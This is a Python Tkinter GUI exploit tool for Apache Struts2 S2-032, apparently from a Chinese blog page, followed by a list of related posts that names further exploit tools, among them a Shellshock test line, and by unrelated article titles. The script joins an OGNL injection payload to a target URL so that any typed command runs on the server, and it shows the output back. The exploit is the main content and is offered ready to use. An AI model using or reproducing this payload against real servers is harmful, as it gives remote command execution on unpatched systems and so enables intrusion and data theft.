1. # -*- coding: utf-8 -*-
  2. import requests
  3. from Tkinter import *
  4. class App:
  5. def __init__(self, master):
  6. frame = Frame(master)
  7. # 主窗口里面再创建一个frame
  8. self.fm_1 = Frame(frame)
  9. self.fm_1.pack()
  10. # 设置一个label
  11. #l1 = Label(self.fm_1, text="url:").grid(row=0)
  12. # 设置一个url输入框
  13. s1 = StringVar()
  14. self.e1 = Entry(self.fm_1, borderwidth=3, textvariable=s1)
  15. self.e1.grid(row=0, column=0,columnspan=1,sticky=N + S)
  16. s1.set("Input url here ")
  17. # 添加一个命令输入框
  18. s2 = StringVar()
  19. self.e2 = Entry(self.fm_1, borderwidth=3, textvariable=s2)
  20. self.e2.grid(row=0, column=1,columnspan=1,sticky=N + S)
  21. s2.set("Input cmd here ")
  22. # 添加一个文本框,作为函数运行的输出
  23. # 添加一个self可以在其他定义的函数进行调用
  24. self.text = Text(self.fm_1)
  25. self.text.grid(row=3, column=0, columnspan=4, sticky=N + S)
  26. # 添加一个按钮
  27. b1 = Button(self.fm_1,
  28. text="命令执行",
  29. command=self.cmd).grid(row=0,
  30. column=2)
  31. # 添加一个清空按钮
  32. b2 = Button(self.fm_1,
  33. text="清空",
  34. command=self.clearText).grid(row=0,
  35. column=3)
  36. '''
  37. # 添加一个输出框,将函数运行结果输出到界面
  38. v1 = StringVar()
  39. e2 = Entry(fm_1 ,textvariable = v1,borderwidth = 3, )
  40. v1.set("normal")
  41. e2.grid(row=2, column =0,columnspan = 3,rowspan = 5)
  42. '''
  43. frame.pack()
  44. def clearText(self):
  45. self.text.delete(0.0,END)
  46. def cmd(self):
  47. url = self.e1.get()
  48. cmd = self.e2.get()
  49. # 对url进行处理,拼接payload
  50. url_patterns = url.split("action")
  51. url=url_patterns[0]+"action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd="+cmd+"&pp=\\\\A&ppp=%20&encoding=UTF-8"
  52. response = requests.get(url)
  53. result = response.text
  54. self.text.insert(INSERT, "[*] Apache Structs2 S2-032\n")
  55. self.text.insert(INSERT, "[*] cmd: "+cmd+"\n")
  56. self.text.insert(INSERT, '\n'+result+'\n')
  57. if __name__ == '__main__':
  58. root = Tk()
  59. # 设置窗体名称
  60. root.title("struts2-032利用工具")
  61. # 设置窗体大小
  62. # root.geometry('300x300')
  63. app = App(root)
  64. root.mainloop()
  65. root.destroy()

struts-032利用工具 PythonGUI的更多相关文章

  1. Struts2漏洞利用工具下载(更新2017-V1.8版增加S2-045/S2-046)

    Struts2漏洞利用工具下载(已更新V1.8版) 2017-03-21:增加S2-046,官方发布S2-046和S2-045漏洞引发原因一样,只是利用漏洞的位置发生了变化,S2-046方式可能绕过部 ...

  2. [原创]K8 Struts2 Exp 20170310 S2-045(Struts2综合漏洞利用工具)

    工具: K8 Struts2 Exploit组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http://qqhack8.blog.163.com发布: 2014/7/31 10:24 ...

  3. CVE-2014-6271 Bash漏洞利用工具

    CVE-2014-6271 Bash漏洞利用工具 Exploit 1 (CVE-2014-6271) env x='() { :;}; echo vulnerable' bash -c "e ...

  4. 【教程】手把手教你如何利用工具(IE9的F12)去分析模拟登陆网站(百度首页)的内部逻辑过程

    [前提] 想要实现使用某种语言,比如Python,C#等,去实现模拟登陆网站的话,首先要做的事情就是使用某种工具,去分析本身使用浏览器去登陆网页的时候,其内部的执行过程,内部逻辑. 此登陆的逻辑过程, ...

  5. jenkins远程命令执行利用工具

    昨天看小飞侠写的py的jenkins的脚本,昨天晚上在微信里评论今天写一个JAVA的GUI的tools. 早上花了点时间写一下: code: package com.tools; import jav ...

  6. 7. Vulnerability exploitation tools (漏洞利用工具 11个)

    Metasploit于2004年发布时,将风暴带入了安全世界.它是开发,测试和使用漏洞利用代码的高级开源平台. 可以将有效载荷,编码器,无操作生成器和漏洞利用的可扩展模型集成在一起,使得Metaspl ...

  7. 利用工具将数据库中的表导出到word中

    1.动软代码生成器 效果图: 数据库设计说明书中的一项,刚好我负责写这个文档, 18张表,前两张表是自己画表格自己填充内容,写到第三张表的时候就已经崩溃了(我觉得我耐力还是够的,怎么说也画完了两张表呢 ...

  8. weblogic CVE-2018-2628漏洞利用工具

    weblogic CVE-2018-2628漏洞利用 漏洞环境: Windows2018R2 weblogic10.3.6 漏洞利用过程: 搭建好存在CVE-2018-2628漏洞的weblogic平 ...

  9. 开源Webshell利用工具——Altman

    开源Webshell利用工具--Altman keepwn @ 工具 2014-06-04 共 6114 人围观,发现 43 个不明物体收藏该文 Altman,the webshell tool,自己 ...

随机推荐

  1. tarjan——有向图、无向图

    强连通块只存在于有向无环图DAG中 实际上low[i]的理解是:一个强连通块在dfs搜索树中子树的根节点 //把一个点当成根提溜出来,抖搂抖搂成一棵树 void dfs(int u) { //记录df ...

  2. PHP7.x环境下安装redis扩展

    注:以下介绍的安装方式为PHP的安装路径为/usr/local/php,如果你的服务器上PHP的安装目录不一致请按实际情况处理. 首先下载PHP7的redis扩展 wget https://githu ...

  3. 『无为则无心』Python面向对象 — 46、类和对象

    目录 1.理解类和对象 2.类 3.对象 4.Python中的对象 5.类和对象的定义 (1)定义类 (2)创建对象 (3)练习 6.拓展:isinstance() 函数 1.理解类和对象 (1)类和 ...

  4. HDFS免重启挂载新磁盘

    背景 在生产环境中,集群节点磁盘大小不同,其使用率也会不同,HDFS虽有均衡策略,但也会有数据不平衡的情况,有些节点磁盘就会被打满,然后这个节点就不健康了(Unhealthy Nodes),Yarn的 ...

  5. 八大排序算法之直接插入排序(InsertionSort)

    常见的排序算法 今天复习[直接插入排序] 核心思想:有序数组中 找位置 -- 给无序数组第一个 找位置 ` public class InsertionSort { // 核心思想:有序数组中 找位置 ...

  6. REACT 使用antd Table 中rowSelection遇到的问题

    首先项目是尚硅谷的后台谷粒平台,在用到antd Table 中的 rowSelection时,出现了一个问题(P87时遇到的问题): 表格中的每一项前面有一个radio单选框可以选中,本来是想利用ro ...

  7. 安装好的pycharm修改代码存储路径

    安装好pycharm的时候,第一次点开pycharm没有配置好,导致代码存放的路径是默认的.但是现在想把路径改成自己的路径怎么办? 首先,pycharm->file->settings-& ...

  8. 【C# 线程 】内存模型 与Volatile

    CPU硬件有它自己的内存模型,不同的编程语言也有它自己的内存模型. 在 C# 的语言规范中 ECMA-334,对于Volatile关键字的描述: 15.5.4 Volatile fieldsWhen ...

  9. 【C# IO 操作 】内存包装类 Memory <T>和 Span<T> 相关类型

    简介 .NET 包含多个相互关联的类型,它们表示任意内存的连续的强类型区域. 这些方法包括: System.Span<T> 用于访问连续的内存区域 得到该类型的实例: 1个T类型的数组 1 ...

  10. WIN10:显示隐藏文件夹

    AppData是默认隐藏文件夹,可以通过工具栏显示隐藏项目显示